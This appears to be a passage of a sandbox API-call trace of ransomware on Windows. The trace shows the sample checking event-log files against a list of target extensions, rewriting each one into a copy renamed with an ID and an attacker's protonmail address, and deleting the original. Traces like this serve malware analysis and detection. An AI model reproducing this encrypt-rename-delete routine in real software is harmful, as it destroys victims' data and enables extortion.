	[0074.953] ReadFile (in: hFile=0x364, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.953] WriteFile (in: hFile=0x320, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x128, lpOverlapped=0x0) returned 1
	[0074.953] SetEndOfFile (hFile=0x320) returned 1
	[0074.953] CloseHandle (hObject=0x320) returned 1
	[0074.956] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.956] SetEndOfFile (hFile=0x364) returned 1
	[0074.958] CloseHandle (hObject=0x364) returned 1
	[0074.958] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.959] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1
	[0074.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.959] lstrlenW (lpString=".doc") returned 4
	[0074.959] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.959] lstrlenW (lpString=".docx") returned 5
	[0074.959] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.959] lstrlenW (lpString=".pdf") returned 4
	[0074.959] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.959] lstrlenW (lpString=".xls") returned 4
	[0074.959] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.959] lstrlenW (lpString=".xlsx") returned 5
	[0074.959] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.960] lstrlenW (lpString=".ppt") returned 4
	[0074.960] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.960] lstrlenW (lpString=".zip") returned 4
	[0074.960] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString=".rar") returned 4
	[0074.960] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString=".bz2") returned 4
	[0074.960] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString=".7z") returned 3
	[0074.960] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.960] lstrlenW (lpString=".dbf") returned 4
	[0074.960] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.960] lstrlenW (lpString=".1cd") returned 4
	[0074.960] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.960] lstrlenW (lpString=".jpg") returned 4
	[0074.960] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.960] lstrlenW (lpString=".doc") returned 4
	[0074.960] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString=".docx") returned 5
	[0074.961] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.961] lstrlenW (lpString=".pdf") returned 4
	[0074.961] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString=".xls") returned 4
	[0074.961] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString=".xlsx") returned 5
	[0074.961] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.961] lstrlenW (lpString=".ppt") returned 4
	[0074.961] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.961] lstrlenW (lpString=".zip") returned 4
	[0074.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString=".rar") returned 4
	[0074.961] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString=".bz2") returned 4
	[0074.961] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString=".7z") returned 3
	[0074.961] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.961] lstrlenW (lpString=".dbf") returned 4
	[0074.961] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.961] lstrlenW (lpString=".1cd") returned 4
	[0074.961] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0074.961] lstrlenW (lpString=".jpg") returned 4
	[0074.962] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.962] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.962] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47
	[0074.962] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.334] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0075.334] CloseHandle (hObject=0x388) returned 1
	[0075.334] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0075.334] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.334] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.334] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.334] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.334] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.334] GetLastError () returned 0x0
	[0075.334] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.337] WriteFile (in: hFile=0x380, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.339] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.339] WriteFile (in: hFile=0x380, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x132, lpOverlapped=0x0) returned 1
	[0075.339] SetEndOfFile (hFile=0x380) returned 1
	[0075.339] CloseHandle (hObject=0x380) returned 1
	[0075.341] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.342] SetEndOfFile (hFile=0x388) returned 1
	[0075.343] CloseHandle (hObject=0x388) returned 1
	[0075.343] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.343] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1
	[0075.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.343] lstrlenW (lpString=".doc") returned 4
	[0075.343] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.343] lstrlenW (lpString=".docx") returned 5
	[0075.343] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.343] lstrlenW (lpString=".pdf") returned 4
	[0075.344] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString=".xls") returned 4
	[0075.344] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString=".xlsx") returned 5
	[0075.344] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.344] lstrlenW (lpString=".ppt") returned 4
	[0075.344] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.344] lstrlenW (lpString=".zip") returned 4
	[0075.344] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString=".rar") returned 4
	[0075.344] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString=".bz2") returned 4
	[0075.344] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString=".7z") returned 3
	[0075.344] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.344] lstrlenW (lpString=".dbf") returned 4
	[0075.344] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.344] lstrlenW (lpString=".1cd") returned 4
	[0075.344] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.344] lstrlenW (lpString=".jpg") returned 4
	[0075.344] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.344] lstrlenW (lpString=".doc") returned 4
	[0075.344] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.344] lstrlenW (lpString=".docx") returned 5
	[0075.344] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.344] lstrlenW (lpString=".pdf") returned 4
	[0075.345] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString=".xls") returned 4
	[0075.345] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString=".xlsx") returned 5
	[0075.345] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.345] lstrlenW (lpString=".ppt") returned 4
	[0075.345] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.345] lstrlenW (lpString=".zip") returned 4
	[0075.345] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString=".rar") returned 4
	[0075.345] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString=".bz2") returned 4
	[0075.345] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString=".7z") returned 3
	[0075.345] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.345] lstrlenW (lpString=".dbf") returned 4
	[0075.345] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.345] lstrlenW (lpString=".1cd") returned 4
	[0075.345] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0075.345] lstrlenW (lpString=".jpg") returned 4
	[0075.345] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.345] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.345] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42
	[0075.345] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.346] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0075.346] CloseHandle (hObject=0x388) returned 1
	[0075.346] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0075.346] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.346] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.346] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.346] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.346] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.346] GetLastError () returned 0x0
	[0075.346] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.349] WriteFile (in: hFile=0x380, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.351] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.351] WriteFile (in: hFile=0x380, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x128, lpOverlapped=0x0) returned 1
	[0075.351] SetEndOfFile (hFile=0x380) returned 1
	[0075.352] CloseHandle (hObject=0x380) returned 1
	[0075.354] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.354] SetEndOfFile (hFile=0x388) returned 1
	[0075.355] CloseHandle (hObject=0x388) returned 1
	[0075.355] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.355] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1
	[0075.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.356] lstrlenW (lpString=".doc") returned 4
	[0075.356] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString=".docx") returned 5
	[0075.356] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.356] lstrlenW (lpString=".pdf") returned 4
	[0075.356] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString=".xls") returned 4
	[0075.356] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString=".xlsx") returned 5
	[0075.356] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.356] lstrlenW (lpString=".ppt") returned 4
	[0075.356] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.356] lstrlenW (lpString=".zip") returned 4
	[0075.356] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString=".rar") returned 4
	[0075.356] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString=".bz2") returned 4
	[0075.356] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.356] lstrlenW (lpString=".7z") returned 3
	[0075.356] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.356] lstrlenW (lpString=".dbf") returned 4
	[0075.356] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.357] lstrlenW (lpString=".1cd") returned 4
	[0075.357] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.357] lstrlenW (lpString=".jpg") returned 4
	[0075.357] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.357] lstrlenW (lpString=".doc") returned 4
	[0075.357] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString=".docx") returned 5
	[0075.357] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.357] lstrlenW (lpString=".pdf") returned 4
	[0075.357] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString=".xls") returned 4
	[0075.357] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString=".xlsx") returned 5
	[0075.357] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.357] lstrlenW (lpString=".ppt") returned 4
	[0075.357] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.357] lstrlenW (lpString=".zip") returned 4
	[0075.357] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString=".rar") returned 4
	[0075.357] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString=".bz2") returned 4
	[0075.357] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.357] lstrlenW (lpString=".7z") returned 3
	[0075.357] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.358] lstrlenW (lpString=".dbf") returned 4
	[0075.358] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.358] lstrlenW (lpString=".1cd") returned 4
	[0075.358] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50
	[0075.358] lstrlenW (lpString=".jpg") returned 4
	[0075.358] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.358] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.358] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33
	[0075.358] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.358] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0075.358] CloseHandle (hObject=0x388) returned 1
	[0075.358] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0075.358] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.359] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.359] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.360] GetLastError () returned 0x0
	[0075.360] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.363] WriteFile (in: hFile=0x380, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.365] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.365] WriteFile (in: hFile=0x380, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x116, lpOverlapped=0x0) returned 1
	[0075.366] SetEndOfFile (hFile=0x380) returned 1
	[0075.366] CloseHandle (hObject=0x380) returned 1
	[0075.558] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.558] SetEndOfFile (hFile=0x388) returned 1
	[0075.886] CloseHandle (hObject=0x388) returned 1
	[0075.886] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.887] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1
	[0075.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.887] lstrlenW (lpString=".doc") returned 4
	[0075.887] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.887] lstrlenW (lpString=".docx") returned 5
